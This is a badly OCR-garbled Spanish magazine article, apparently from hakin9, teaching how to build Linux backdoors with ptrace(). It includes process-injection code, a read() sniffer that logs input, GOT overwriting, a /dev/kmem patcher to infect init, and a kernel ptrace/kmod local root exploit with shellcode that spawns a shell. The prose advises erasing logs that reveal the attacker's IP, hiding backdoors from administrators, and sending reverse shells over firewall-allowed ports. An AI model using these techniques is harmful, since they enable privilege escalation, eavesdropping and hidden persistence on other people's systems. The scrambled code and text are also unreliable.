HoTa VEAE, YRAX
DUAN BRax i affsst =
1. | I o f
ush S0x22 i MAP PRIVATE H;.:-'_ﬁ!::!.":':'-'.."'.-
pahl 53 §# PROT READ|PROT WRITE
oipal TOx5S § =map ()] asigna LOO0O byees por defecto, plas
F Cuando necesitel mis antonces calcula el aoevo Lamadfio

{ BEAFE Addr = [

pushl Geax

=avl hesp, ebx
movh 545, fal
addl 545;%sax & =mmap()

Listado 5. Ejemplo de lo que necesitas para la funcion infect_code()

:Lfdﬁe-?TEEfE_SETREGE, pid; freg, fzag):
?L:n:c-?TEEEE_SETHEGﬁ, pid, Lregh, Lcegbl:
oeg.e5p -
ptrace (FTRACE FORETEXT, pid, Deg.esp, ceg.elp):
pPLE = SCart = reg.eap - 1024;
reg.eip long) Start + 2;
;L:act-??iﬁf!_&ifﬁzﬁﬁr pid, sreg, sEeq);
while | strlenish_code) |
ptrace | rTRACE PORETEXT, pid, pEr, (ing) * (1At ° -5t_:ait~1
BLE « ai
printf(®tratands de asigmar la memoria \n");
phrace |FTRACE _SYSCALL, pid, 0.
ptrace |(PTEACE SYSCALL, pid, 0.
prrace (FTRACE_SYSCALL, pid, 0, 0):
prrace ??RRCE_GETEEGE, pid, Lzeg, Lceg);
prrace ?TH&CE_ETECELL, pid; 0; Q) :
printf{®nuava regidn de la memocla asignads a..: Oxk.8lxhn", rpeg.eax
printf{"haciendo la copla de segquridad de cegisteos...\r"):
ptrace {FTRACE SETREGS, pld, iregb, sceghl;
prinef{®;asignacidn dinAmica coaplatadal \n", pid):
prrace|FTRACE DETACH, pid, O,
ERLUIR Ceg.0ax;

* PTRACE_KILL - envia al hijo
SIGKILL para terminarle (addr y
los datos se ignoran),

= PTRACE_ATTACH - adjunta
al proceso especificado en pid,
convirtiéndolo en hijo trazado
del proceso actual; el comporta-
miento del hijo es como si hiciera
PTRACE_TRACEME. E| proce-
s0 actual se hace el padre del
proceso hijo para la mayoria de
objetivos {por ejemplo, recibira la
notificacion de los acontecimien-
tos hijos y aparece en la salida
psil) como el padre del hijo), pe-
Mo gecppidiz) por el hijo devolve-
ra el pid por el padre original. El
hijo es enviado a SIGSTOP, pero
no necesariamente estard para-
do por la completacidbn de esta
llamada; usa wait para esperar
hasta que el hijo se pare (addr y
los datos se ignoran),

» PTRACE_DETACH - reinicia el
hijo parado como para PTRACE_
CONT, pero primero desconecta
del proceso, atrasando el efecto
de PTRACE_ATTACH, vy los
efectos de PTRACE_TRACEME.
A pesar de no tener intencién, bajo
Linux el hijo encontrado puede es-
tar desconectado de esta forma a
pesar del método que fue emplea-
do para iniciar a dibujar (addr se
ignoray).

Ahora, no te preocupes, no debes
entender todo ello. Te demostraré
otros empleos en este articulo.

Usos practicos para la
llamada ptrace()
Mormalmente, grrace () @5 empleado
para trazar procesos para objetivos
de depuramiento. Puede ser muy
manuable. Los programas strace
¥ ltrace dependen de la llamada
prrace () para trazar del proceso
de ejecucion. Hay unos programas
interesantes/usuales en Internet y
puedes querer entrar en Google pa-
ra ver aplicaciones en accion.

¢ Qué son los parasitos?

Los parasitos son cidigos que no
se replican por si mismos y que se
inyectan en los programas via la
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inyeccion ELF o directamente en la
memaoria del proceso en el modo de
ejecucion con ptrace(). La diferen-
cia mas importanie aqui es que la
inyeccion prracei) NO es residente
mientras que la infeccion ELF infec-
tara un binario mas bien como virus
y sera residente incluso después del
reinicio. Un parasito inyectado con
rtrace() reside solamente en la me-
moria, por lo tanto cuando el proceso
reciba, por ejemplo, SIGKILL luego
el parasito también morird. Como
prrace() @5 empleado para inyectar
el codigo en el modo de ejecucidn,
esta claro que no es residente.

Inyeccion clasica ptrace()
Prrace() 85 Capaz de observary con-
trolar la ejecucion de olro proceso.
Es también capaz de cambiar sus
registros. Desde que es capaz de
cambiar los registros de otro proce-
50, a veces s obvio por qué pueden
ser empleado para aprovecharse de
algo. Aqui tenemos un ejemplo de
una antigua pirace() vulnerabilidad
del antiguo kernel de Linux.

Linux kernels antes de 2.2.19
tuvo un gusano local de root y la ma-
yoria de la gente que usa este kernel
puade no tener todavia parches.
Ademas, esta vulnerabilidad apro-
vacha las condiciones de carrera
en los kernels de Linux 2.2 x dentro
de la llamada del sistema cxecven).
Al prever el proceso de hijo sieep i)
dentro de sxecvai), €l atacante pue-
de emplear prrace) © Mecanismo
similar para tomar control del proce-
s0 de hijo. Cuando el proceso hijo es
setuid, el atacante puede ocasionar
también el proceso hijo para ejecutar
el codigo de arbitraje en un privilegio
elevado. Hay también alguncs mas
conocidos como ediciones de se-
guridad incluyendo prrace con los
kernels de Linux anteriores de 2.2.19
y mas arriba que fueron apuntados
como fijados por el momento, pero
muchos administradores no aplica-
ron los parches, con lo cual los gu-
sanos siguen existiendo en muchos
sisternas. Un problema similar existe
en 2.4x — la condicitn de carrera en
kermal/kmod.c lo que crea el hilo de
kernel en un modo inseguro.

Este gusano permite a prrace )
unos procesos clonados, permi-
tiendo tomar control sobre los
archivos binarios privilegiados.
Adjunto el cédigo exploit de las
Pruebas de Concepto para esta
vulnerabilidad (ver Listado Sa y
9b). Esto fue un pequefio ejemplo
de como emplear prraceq) para
escalar el privilegio. Bueno, pien-
so de una pequefia inyeccién y
finalmente nuestro primer codigo
ejemplar podria ser buenas. En-
tonces aqui tenemos un pequefio
inyector poracen) (Listado 1a v
2b). Permite probarlo en nuestra
terminal (A):

sereer:~y ooc pLrace.c -

EQIVETI~F .}

Listado 6. Efemplo de read() sniffer

fdeline LOGFILE "/tmp/read.sniffsed”

a=Em ("INJECT PAYLOAD BEGIN

BEGIM:"

[Exa=mple Forace Injector]

+ conectade al id de proceso: 7314
= @nviands la sefial de pacada..

¢ gl proceso ha pacado.

calevlands el rama?e

de inyeccidén de pardsice..

¢+ El pardsito escd a: OxddddaiT¥é

= descongcts. .

+ [inalizada!

Fervagi=p

Ahora en ofro terminal (B), trazamos
el proceso Netcat:

gwl:~0 strace -p T3il4
El process Til4 conectads
= ifTErrunpe para salir

accant (3,

Luego vamos a la terminal A vy
conectamos al infectado proceso
Metcat:

int Imject readiint fd, char -data, int size

asn
ap O
KT :
P I kS ¥ g e a & 5d o
®orl Eadx aax
=0vh § a . § ca readi)
L3 ful B{ieap); Lebx $ gb: £d
- a8g) , Tecs # eck: duEA
& (Tesp) , adx i adx: size
w80
3 EAK, [ § SCOce [ ]
. 33, oax # call openil
a5, gbx § LOGFILE
pov]l S0xead2; Bcx [ '_“F' T A
- Sl de # Permission
S0mB
-1 SAK, ahx } obx: fd for ¢
5 94 Sax ¥ writal)l to loa
oy aspl ; hecx ! polnter to
I L ads # read's ret
nt S0x80
movl Hb, BAX | LAK® A guUes
S0l
movl Sad 1T § return edi
jEp BOHE
= 0
cal KT
Al ARLOGFILE™\"
I. = AR
DORE ¢
-
| asmi™iNJECT EHD==

value=- bytes Lo

céturn wvalee in Ledi

readil) |

www.hakin9.org
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~
Listado 7a. Pequefa funcion para recoger el segmento de texto del
proceso de objelivo
int qwt_;qxtsggmintlin: pid, ink -siza|}
E1f32 Ehdr ehdr;
char buff1287;:
FILE "inputy
int i:
snprinci tbuf, sizeof (buf), “/pzoe/idifexe®, pid];
if [(![(input = fopenibuf. "zb"11]
ratarn (=1}:
if (freadisehde, aizeaf(ELL}2 Ehdrl, I, imput) I= 1]
goto end:
* read ELF binary header + do calculacisas |
*size = sizeof (E1£3Z _Ehdr) + ehdr.e_phnum - sizecf (E1f32_Phdr):
if (fseekiinmput, ehdr.e& phoff, ZEEK 3ET] = U)
goto and:
for (1 = 0; § < ehdr.e_phoom; E++)
E1f3Z2 Phdr phdr;
if [Eread {iphdr, :l:uﬂfl!lEHEdTher. 1, input] != 1}
goto and;
if [phdr.p olfzer == )
felose (ingut)
ceturn phde.p vaddr; I
end:ii |
fclose (Lnput) :
cetaen (=lh;
# Akora, llamamos noestira funcida desde =ain()
if [(ltertseg = get Lextsegment ipid, &size}) == <1]
fprintf (svdarr, "unable to locave pid Vd\'s text segment address (%s]'n";
pid; strérror lercna)l;
ratuzn {=1);
* aptoncez pecesicamos pensar del camafio,
* the payiosd Can't (zafedy) exceed L4944 oytes )
if ip]u:h_quﬁsitq_si;n(H * Bize) validare cha gize
fprinef (skdecr, “Tu pardsito es demasiado grands ¥y no s& ajustach.
Optimlzale!in®):
eaEdrn (=1);
= regdgoet es [uncidr gque devuelve read() "s
* direccidn de la cabla global de eguilibrio.
* phjdump 88 [W AmIgo, DUSS EFCribe LN poco
* feneidn gue esples cbjosse pars arrastrar GOT
= gi sres vago, suminiscra GOT con arcgwil] o asl
* gyto F¢ deja como ejercicio para un lector Iatersszance.
snprintf (buf, sizect buf), "SfprocSidfexes™, pid):
if (ireadgot = goribuf, "read™}) < 0) grab sead's GOT addy
fpeinct (stderr, "Unable to extract mead())\"s =0T agooess'\n" |7
return (-1)7r1
" pol DuesTrd parasito an el segmeato de textc
L o
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gerver:~-F pc —v localhast K111
localhost [127.0.0.1] 1111 (7} opan
i1]# Exic 105 npe =lp 1111

server:-#

Ahora vamos a probar la salida de
trazado en la terminal B:

accapt (3,
sin port=htons (35261},
sin_addr=ingt_adde
("127.0.0.1"1}, [16]) = 4
_exlEb {31337} =2
El proceso Tild degconectado

saryaci=4

jComo puedes ver esto funciond!
Ok, mucho como para esta parte.
Esta es inyeccion prrace(). Ahora
pasaremos a unas lécnicas mas
avanzadas con esta funcién. Cuando
sigues inseguro puedes querer leer
este articulo otra vez desde el prin-
cipio v jugar con &l ejemplo que ya
os di, para que entiendas completa-
mente lo que pasa, ya que el resto de
los articulos requiere cuando quieras
entender prrace ().

Funcion de
sobrescritura Ptrace()
Esta técnica es un poco mas avanzada
y bastante usual también — funciones
de sobrescritura empleando prrace.
Primero esto parece ser lo mismo que
la inyeccion prrace ) injection, sin em-
bargo, es algo diferente. Normalmente
inyectamos nuestro shell code en el
proceso. Lo metemos en la pila y cam-
biamos algunos registros. Pues, esto
esla algo limitado ya que solaments
se ejecuta una vez. Sin embargo,
cuando metemnos el parche en sysca-
lis, el codigo sera activo hasta que el
proceso se cierre. Ten en cuenta que
no hablamos sobre los reales syscalls
en el espacio de kernel, es solamente
una importada funcién compartida ha-
ciendo las mismas acciones como las
reales llamadas del sistema. La Tabla
de Equilibrio Global (GOT) nos da una
localizacion de syscall en la memaria,
donde sera asignado después de car-
gar. El modo mas simple de leerlo es
emplear objdump. Simplemente esa la
instruccion grep para reubicar de sys-
call. Vamos a observarel Listado 2,
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Dondequiera que quieras llamar
readi), llama la direccion wsitamw
08086b30. En 08086b30 NO hay otra
direccion gue apunta a la lectura
actual. Ahora cuando escribas una
direccion diferente en ozosenin, lue-
go, la siguiente vez el proceso llama
readi(), ¥ V2 a saltar a algo diferente.

Cuando quieras:

movl S0x02088R30, Reax
movl SOx4141414), (heax)

la siguiente vez read() sera llamada,
el proceso infeclado sera segfault
en ox41414141. Dolados de este co-
nocimiento podemos hacer un paso
hacia adelante. Pensamos sobre las
posibilidades que tenemos. Cuando
sea posible para nosotros sobres-
cribir cualquier funcién en el vuelo
somos capaces de situar diferentes
backdoors dentro de los procesos
ejecutados.

Podriamos controlar  completa-
mente el flujo de ejecucion del demo-
nio por ejemplo, interceptar syscalls,
cambiar el valor de devolucion y los
datos de registro. Sin embargo, ne-
cesitamos mas espacio para situar
nuestro backdoor. Hay unos 240 bytes
del espacio no usado en OxB0O48000.
Este espacio estd ocupado por las
cabeceras ELF, que no pueden
usarse durante la ejecucion. Puades
basicamente cambiar los datos y
meter dondequiera que quieras en el
espacio y no pasaria nada. Pues, en
vez de destruir los datos al inyectar la
carga util en el seip, S0MOS capaces
de meterlo aqui, o bien al menos un
parasito inicial, que desplegara un
parasito mayor mas tarde.

Vamos a echar una ojeada en
nuestro binario (proceso) donde va-
mos a sobrescribir nuestra funcidn e
inyectar la backdoor. Primero nece-
sitamos algunos conocimientos ba-
sicos y para situar nuestro backdoor
en algin lugar de la memoria. Es
obvio que esto debe estar en algin
lugar de la memoria del proceso,

Intercepcién de syscall

El segmento.text incluye las cabe-
ceras del programa ELF y oftra infor-
macion que es solamente empleada

durante el inicio. Después de lacar-
ga del proceso, estas cabeceras se
hacen initiles y somos capaces de
sobrescribirlas seguramente con
nuestro codigo. Para recibir la posi-
cion inicial de esta seccion, necesi-
lards comprobar ¢ vaddr.

Esta seccion tiene un tamafo
fijo. haciendo simples calculaciones
recibiremos nuestra formula:

mﬂu_;uss;h]ﬁ_s;::
-:iEEUEIE_hd:J+5i:nnE[p_hd:l

“zuma de cabecécas p

Es pequefio, pero bastante para algu-
nos codigos puros ASM. Al poner un
parche en syscall necesitamos guardar
el original syscall. Necesitamos escribir
nuestra propia implementacion de la
llamada que aclia como la original.
Abajo puedes ver una parte del cadi-
go que sobrescribird la seleccionada
syscall desde el proceso seleccionado.
Aqui tienes un ejemplo CoN sys _ write
demostrado en el Listado 3.

Una buena cosa es que no necea-
sitamos cuidar de la pila ejecutable v
ceros en el codigo, nuestra parchea-
da syscall existe dentro del proceso
y otra vez, al lado malo, el lugar para
nuestro codigo esta muy limitado.
Vamos a echar una ojeada en la
informacion que necesitamos, con el
objetivo de construir nuestra funcién
de sobrescritura;

= procesa a si mismo y su ID;
* la funcién que queremos a la
backdaor;

- —

:' Listado 7 b. Peguefia funcidn para recoger el segmento de texto del

proceso de objefivo

Iprince (scdere, *;L

return (-1}

if (inject(pid, readgok, 4, ichar

StIerror yerrng

IETUDn |

a LNyl of di ParaslCd alilg

"
SLISMITOT (RIING) )}

" EoDreefcribé ia aireccion gde Iectura

PnEaca LULD Salliol |

* direccion de la funcién desde la
Tabla Global de Equilibrio;

= direccidn del segmento de text;

« propia implementacion de la fun-
cidn de backdoor.

Omitiendo el limite

de tamarnio

Como he dicho las cabeceras de ELF

ocupan unos 244bytes v no son sufi-

cientes para una grande backdoor, por

lo tanto pense sobre la forma de imple-

mentar unas backdoors mas grandes.
La primera idea &s usar memoria

asignada dinamicamente.

« meter el codigo en la pila que
asignara una nueva region de
memaoria (usando mmap (1);

* conseguir el puntero a la memo-
ria asignada;

*  USar inject() para meter nuestro
codigo en la memoria asignada
dinamicamente, pero en vez de
la direccion del segmento.text,
usar la memoria asignada:

sh_code = mallecistrlen{{char®)
infect_codel +4);
strcpy{sh_code, ichar ") infect code):

EEg.BAK = inié:t_pt:acelpidj;

Para asignar la memoria sin ejecu-
tar la pila hay un esquema un poco
modificado:

« sobreescribr la entrada del
Eﬂgmnlﬂ.iﬂitpﬂrin!n:h _eodel).
Mo olvides afiadir la lectura ori-
ginal;

if (injectipid, LexLEeg, in]ﬁttdpa:nzite_nizn'-, injtct_paras;:n_;L:u

Faly -
1140 (%=3)in®™,

"I GUextIog)

fprintf (stderr, ";la inyeccidn de li

meem Fo i Al g y

“
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Escribe tu propio backdoor

Listado 8a. Kemnel Patcher para permilir ptracing de init

Fdefine GHU_SOURCE
finclude <asmfunisvd.h>
finclude <sys/types._h>
finclude <ayaSStat. >
pinclude <unistd.n>
finclude <sceing.h>
Finclude <stdlib.h>
finclude <stdia.h>
finclude <fentl. b

ink i:r.l-?.n_l':l:

Y
by 4 n i ang i wophrarinas de prdlidad =
'] AiVE:s OF L UELNda e OEl S 1aEd

vipdd read keemi| off t offser, void *buf, size b oount )

if( lseek| kmem £d, offset, SEEX SET ) 1= offset )

parror( “laser(Emen)® );
BRIt L )i

1E€[ read| k:-en_!'dr buf; counkt ) !s {(langl count )

PError( “reasikmeml ™ |

exief 2 };

vold write kmem| off t offset, woid *buf, size © count )

if| lseek| k=em fd, offsst, SEEK SET ) = offast )

parror( *lseakikmaml™ §:

axit( 3 );

1E( write( kmem fd, buf, counmt ] '= (l&ng) count ]

peEEor( “wrice(kmam)®™ §;

exite 4 );

fdefing GCC 295 2
Fdefine GOC_3NX 3
tdefine BUFSIZE 256

int maini woid |

int kpode, goc_ver:
inkt idt, imeB0, Beck, pteace;

char boffer [BUFSIZE], *p; cr

iEq I-cr:tr.l_fd = gpani ®/dev/i=ea®, QO ADWR | ) < )

dav t kmen dav = makedew( 1, Z };
perear( "opan|/devikmemi™ |

LE| mknod( "/fesp/kmes™, 0600

peeros( "akrod|/cop/ keem)™ )

raturni [& }:

Lf( ( knen_fd = open| "/tapSkaen”, O RADWR | | < C

pecros( “open |/t kmem) ™ ) ;

rekturni 1T )=

unlinkt =/ump/lmem® )

IEL0OE A2 JilecCon O .4 Ldald.d df. Qescrloiol

pami "sidt RED™ : "=m"™ | buffer |} ):

idt = *{int *){ buffacs + 2 )=

E_IF'EII R, knta_du-';

~,
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« trace cead() para la llamada,
luego guarda el valor de devolu-
cion. Por ejemplo, cuando estas
haciendo backdoors de Metcat,
luego deberias conectarte a él y
enviar algunos datos para llamar
la parcheada readi);

* la siguiente llamada sera =mapi(),
gue asignara la memaoria asigna-
da. Consigue el valor & devolu-
cion y usa ello para inject ().

inject(} @8 justamente una simple
funcién prracei) injection. Aqui te-
nemos un pequeno ejemplo gue ne-
cesitas para infect _ code, despues
de su conexion al proceso, como
esta demostrado en el Listado 5.

Ahora podemos  implementar
backdoors con casi tamafio no limi-
tado, por lo tanto somos capaces de
inyectar codigos mas avanzados en
los procesos.

;. Qué es posible?

£ Qué podriamos armar con este co-
nocimiento? Basicamente es lo mis-
mo que la funcion de sobrescritura
(cuando lo conozcas) v por ello em-
pleamos prrace () para sobrescribir e
inyectar el codigo. Vamos a ver algu-
nas de las basicas posibilidades:

= cambiar los valores de devolucion,
por ejemplo, los mensajes de re-
gistro de imitacion y parecidas;

* egliminar archivos (mensajes de
registro) que revelaria al atacan-
te IP etc.;

= esconder archivos, por ejemplo
virus y gusanos o mensajes cifra-
dos en los procesos,

« escuchar (sniff) a las comunica-
ciones de registro;

= egjecutar la capa de union o la
devolucidon de conexion;

= sasiones de secuestro;

* cambiar los relojes fechadores/
mdSsums.

Como puedes ver tenemos una
amplia variedad de diferentes mé-
todos de backdoors que pudimos
usar, El problema es que eres ca-
paz de controlar la comunicacidn
completa de un proceso, de hecho
el entero flujo de ejecucion.




% Alaque

Puedes afadir nuevas funcio-
nes a ello o eliminar algunas (como
funciones de reqgistro) y seras capaz
de situar las escondidas backdoors.
Los adminisiradores suelen creer en
sus demonios, por lo tanto cuando
infectes los mencionados, hay opor-
tunidades y no seran detecladas
hasta que abras un nuevo puerto.
Simplemente hacemos caer la capa
en nuesira terminal para evitar una
facil deteccion. Ademas, sobre este
tema diré mas tarde.

Explicados

diferentes backdoors
Tenemos un montdn de las posibili-
dades de backdoor, pero ;realmente
no las entenderas todas? Vamos al
grano. Os suministraré algunas fotos
de pantallas de diferentes parasitos
en accion y explicaré lo que pasa,
pues tendras una mejor foto de cémo
este fue hecho.

Infectamos el

proceso de inicio

con ayuda de /devikmem
MNormalmente no puedes conectarte
en el proceso de inicio con ptrace().
Con un pequefio truco, sin embargo,
podemos hacer el proceso de inicio
trazable y asi infectarlo con un parasi-
to. Vamos a ver dentro de preace() la
llamada del sisterna {5?5 _ptrace), lo-
calizada en arch/i386/kernel/ptrace.c:

et = -EFERM;
if {pid == J})
* no puedes
desoendenar eon init =/
goto out tsk;
il lrequesy =
= FTRACE_ATTACH)
{
ret = ptrace attachichild);
gato UUt_tsk;

Christophe Devine escribit un peque-
fo programa que es editado bajo la
licencia pablica GNU para poner par-
che en el kernel en la ejecucion para
permitir init para que sea trazada.
Adjunto este codigo (ver Listado 8a y
8b). Ahora después de poner parche
fdev/kmem de esta forma, puedes

l.-"'"_ = —— "o
Listado 8b. Kernel Patcher para permitir ptracing de init '
:ead_knnnr idit *.;. x;:.;;.; i, buffar, & §;

intE0 = | *fjunsigned shert “y{ buffer + £ § << 1§ )
¢ *junsigned short =) | beffesr )

e adiess ~

rend kmemi int8l, buffer, BUFSIIE ):

i LE( Y [ p = mennen( buffer, BUFSIZE, "'xPF\x14'x85%, 31 ) )

fprintfl stderr, "fatal: can't locate ays call tablen™ ):

ratuen{ 18 );
sct imt "j({ p (Rl |
printEf = sct § Jocd08Xin™, secr )
, =l a4 dir =
read_kmemi ioff ) [ p + 3 - buffer + syzcall j, buffes, & I;

read kmen| st ¢ WA pirace * 4, (wadd *) i{ptrace, 4 ):
read icnémi( ptrace, buffar, BUFSIZE j;

i § p = oemmemi bulfer, BUFEIZE, "™\x@8XxFE'xild®, 3 ) 1 1)

p -
£ = *p "
kmode P&
gee Ve = GDC 295;
ol
L[ [ p = memmem( buffer, BUFSIZE, "'\xE3\xFRYxIO®, 3 ) )
P == 2
0 * 4
kaode o4 42
gQoc_wer = f—':":_3:':": H
dlee
Epzintfi atderr, “faral: cen't find patch 1 addcess'\n™ )
raturn{ 1% ):

write kewm| p - buffer 4+ prrace, @c, 1 ):

printfl = . Epl @ OxW0EX'\n®, p = buffer + ptcace );

108 ! S33IMES ang pa
iE[ gee_var == GOC 3XK |
p &= 5
ptrace += ={int ") { p+ 2 1 + p + & = buffer;

read knemi prrace, buffer, BUFSIZE

F+ buffer; |
Af( ! { p = memchr( p, OxEE, 24 ) } ) |

tprincl( seders, "Iatal: can't locate prrace attach\n™ | |

prrace 4= *[iat *}{ p + 1 } + p + 5 - buffer:
sead kmem( ptroace, buffes, BUTSIZIE 1;

12 ! [ p = memmgn| buifer, BUFSIZE, ™\xB3'\x79\x7C", 3 ) | )

fprintf({ stderr, “facal: can't find patch 2 addzess\n®™ ):

eaturn| 21 ):
c = | ! xpoge |3
wrlite kmem( p + 1 - buffer + ptrace, &c, 1 J;:
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Listado 8c. Kernel Patcher para permitir ptracing de init

: » i R
pranell + K T MRARERA

(i

i€l & | pEingf| = Herpel

™

printf + kernel patchedin

zlosel kmem Id ):
EEER1 b=

n", p# 3 - buffer + ptrace i:

Listado 9a. Linux kernel ptrace()/kmod local root exploil.

.
#include <grp.h

tinclwde <fentl hz
finclude <érrno.h>
finclude <paths.h>
finclude <string.h>
finclude <scdiib.h
finclude <signal.h
fipnclede <gnigtd. k>
iinclude <sys/wait.h
ripelede <sys/stat. k>
tinclude <sys/pacam.h>
tinclude <sys/types.he
tinclude <sys/ptrace.hs
binclude <sys/socket. h>
fincluede <lingzfuaer.h>

=har cliphcode|]
=30 vxebixl £y xbE \xbEYyx 00\ x00"
=l xShix I i@ uxES v xoa v ned L BD™
= B E D0 L 00 e OO e B e O™
=il il vxed B0 w B il nEHY Y wd 3™
it L BT e KRR DIRE TR S S A S A

#define CODE_SIZE (sizeof{cliphcodal - L)

1id t parent

t =hild
t ch

wy
e

volatile iat gotchild

void fatal (char - nsgi

pErrorimsg)
KLLL imazent, SIGEILL):
kiLl tehlild, SIGRILL):

ELll {victim, SIGEILL);

void putcode (unsigned long

dst

char bul [RAXFATHLEN - CODE SIZIE]:

amgigned long * Arc;

imE 1, len;
nencpy {buf, cliphcode, CODE SIIE);
lan = readlink(®fpzoc/self/exe™, buf +« CODE SIZE, MAXPATHLEM - 1):
if [len == =1}
facal {®{=] Unablie to resad /peoc/asif/exe”
&n += CODE SIZE
L
Baflan] "o,

£re = junsigned long®) Luf;

for (L = Oy i < lan:

|

1L [pRzace (FTAAGE_PORETELT, wictim, datse, "amo++

fatal (*[=] Incapaz de escribic

vadd sigchld{int f£igno)

&l codigo de capA®™);

infectar el proceso init. Sin embargo,
después de que init ha sido infectado
eslo no sera a tope del listado de
procesos y asi puede revelar que el
sistema ha sido comprometido.

Read() sniffer

Basta con teoria, vamos a construir
un sniffer read(). Sobre todo, vamos
a inyectar un parasito en el segmen-
to y, luego, sobrescribir la direccidn
de la Tabla Global de Equilibrio de
read() para indicar a nuestro para-
sito. La carga Otil va a actuar como
lo hace una normal read ), pero tam-
bién va a reqistrar todo en un defini-
do archivo de registro. El codigo dice
mas de las palabras, pues vamos a
gjecutar. Primero vamos a ver el ¢o-
digo de |a carga util: Listado 6.

Una importante cosa para
apuntar para evitar el depuramien-
to estresante son estas diferentes
versiones del gec del diferente hilo
en linea azmi), por lo tanto, cuando
el ejemplo arriba mencionado fun-
ciona bien en algunas versiones,
no funcionara en versiones mas
nuevas de gcc. Para fijarlo, sim-
plemeanta hazlo como en el primer
ejemplo del inyector que os di, por
ejemplo:

asmi*movl 51, Yeax\n®
"movl 5123; Webx\n®

"int F0xBD\a");

Muestro codigo de carga Ofil esta
preparada. Esto es basicamente el
nicleo de la backdoor, el parasito.
Ahora pasaremos a nuestras fun-
ciones necesitadas. Al final habra
comentario de cada funcion:

Dup2() backdoor

Bueno, esta backdoor esta bastante
bien escondida y no aparece en nets-
tat. Obviamente esto no emplea plug
ins, por lo tanto necesitamos escribir
nuestra implementacion de la capa.
Después de que tu implementacion
esté hecha, recuerda como funciona
la union de capas. Esto copia (usan-
do dup?) los descriptores, stdout/fin/
arrpara unir &l plug in para hacer que
|la capa se despliegue a nuestro lado
y no al lado del servidor. Nuestro cd-
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digo no emplea plug ins, por lo tanto
a5 mas invisible que al administrador
estandar. El codigo inyectado puede
compartir todos los datos del proce-
s0, incluyendo descriptores. Cuando
nos conectamos al servicio remoto,
esto realiza forkiy ¥ IUBJO acceptil,
por lo tanto los procesos nos asig-
nan un nuevo descriptor y nosotros
necesitamos obtener sus nimeros.
Hay unas formas de conseguirlo:

« podemos sobrescribir accepti)
con nuestra nueva implemen-
tacion, que escribiria todos los
valores de devolucién a un ar-
chivo, donde podriamos leerlo.
Es mejor del primero pero no as
perfecto;

» podemos emplear procfs, la in-
formacion sobre el estado de los
descriptores usados en fproe/s

/¢4, Simplemente esa la
instruccion grep para el dltimo
descriptor. La variante no es bue-
na, porque su realizacion ocupara
demasiado codigo. Tambien pro-
cfs podrian no estar montados en
algunos sistemnas;

» el metodo dup2. Esto no malgas-
ta el codigo extra, sin embargo
no es universal. Simplemente el
proceso tiene una cantidad es-
tatica de descriptores y nosotros
podemos trazarlo empleando
strace. Un pequefio ejemplo con
Netcat: sne -1p 1111 Luego arras-
tra su pid y strace -p. Ahora
ejecuta teinet al puerto 1111 de
localhost y recoge el valor de
devolucion de accept () - que Sera
3 0 4 en la mayoria de los casos.

et

_ Hak

Después de recibir el descriptor, sim-
plemente copialo en scdout/inferr.
Ahora nuestra backdoor escondido
esta preparado. Con excepcion del
uso estandar, esta backdoor podria
estar instalada en los sistemas con
firewall donde solamente unos servi-
cios estan abiertos y otro trafico esta
filtrado.

Devolucion de conexion

iMNormalmente quieres lanzar a la
capa de union, pero qué pasa cuando
la firewall blogquee tu puerto? En este

(_Liﬁladﬂ 9b. Linux kernel ptrace()/kmod local roof exploit.

1

.“

fprintf{stderz, "|+] Ahora especa la capa suld...\n®h:
if |pz:nﬁeqP?EhEE_JEThCH. wickim, 0, 0} == =1}
fatali®|=] Incapaz de desconectar de victimas
axie (0]

void sigalrmiint signo)
eprpnd = ECANCELED:
fatal(®|=] Fatal error iz

vold para =ain{woid)
ink t:mm_fﬂ:
pid &t child =
pid & vietim =
signal (ISIGCHED, sigchld):
do
err = p':art(??ﬂﬁi?_ﬁ?fitH. riceim, O, 0k
whils (prr == -1 (L @#rcno == ESRCH);
if [mfr == =1}
fatal(®™[=] Incapaz de conectaz™);
fpeintE(stderr, "([+] Attached o Hd\n®, victiml.
while ('gotchild) :
if (prrace(PTEACE SYSCALL, victim, U, L) == =1
Eatal(®(=-] Imcapaz d& inacalsz la crayectoris de syscall™):
fprintf (actdere, "[+] Waiting Lor slighal \n™i:
FoElizh;

wvoid do parent(char * progname)
Struck Statbt St;
int arr:
BIIND =
sockat (AF_SECURITY, SOCF_STREAM,
da

wa

BEIUCE USEr reqs FTLILCL DeqEr

if (gotchildes == [

o@kburn;

fprincfisctders, ™[+ Signal caught\o™l:

i f 1;::n;erf??ﬁ:5_$£?i£35, vietim, HUOLL, &reqgs) == =1)
facal (®[=] Incapaz de Lleer IOgisatros™|I
fprincfistdere, “[*f Shalleods placed at L

putcodel junsigned long "]regs.eiph;

@rr = Ztatiprognams, S2ThS

whiles (gzr == 0 &5 (st.st fode & 5 ISUID)
if [arp == =1}

faral (™ {=

alasm il

o BEAL myselt”):

JoasLe

system(prognanel s

id prepare (vodd)

if lgevsuid() == 0]
inltgroups ("zoct™, L)
setgidil) s
gecgad{i} s
execl| PATH BSHELL,

L L 1] b aiar F P

_PATH_BSHELL

fatal{®]=] Dpable co spawn shell

int mainiint argc, char *= acgvl

preparei);

= =
IHixvn®,;

= 5 ISUID):

EEgQs.eipl g
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Escribe tu propio backdoor

caso, necesitamos volver a conec-
tarmos, En la mayoria de los casos
cada puerto saliente esta permitido,
pero a veces solamente unos puertos
funcionarian, por lo tanto, deberias
iratar unos puertos privilegiados co-
mo DNS (Port 53), WWW (Port B0) 6
FTP (Port 21), tendras la idea. Todo
lo que tenemos que hacer ahora es
desarrollar la carga 0til de la devolu-
cion de conexion que as simple y con
las técnicas que acabamos de apren-
der. Esto no deberia ser un problema
grave para desarrollar una simple
carga Util. Para empezar sugiero que
uses el valor cifrado fuertemente para
1a IP tal como #define B8 _IF 127.0.0.1
¥, luego, lanza simplemente connect ()

¥ execuca /binfsh -i.

Apéndice
2.4.% kernel patcher que permite
ptracing el proceso init (Copyrig-

ht (c) 2003 Christophe Devine
devine@iie.cnam.fr).

Este programa es codigo fuente
abierto; puedes redistribuirlo yfo
modificarlo bajo las condiciones
de GNU (General Public License)
como publicado por Free Software
Foundation; o bien la versién 2
de la Licencia, o (en tu opcidn)
cualquier version posterior. Este
programa se distribuye en la es-
pera de que sera (atil, pero SIN
NINGUNA GARANTIA; sin incluso
la garantia sugerida de MERCADO
o CAPACIDAD PARA OBJETIVO
PARTICULAR. Ver la Licencia ge-
neral Plblica para mas detalles.
Deberias recibir una copia de la Li-
cencia General Piblica GNU junto
con este programa; si no, escribe a
Free Software Foundation, Inc., 59
Temple Place, Suite 330, Boston,
MA 02111-1307 USA.

Listado 9c¢. Linux kernel ptrace()/kmod local root exploit.

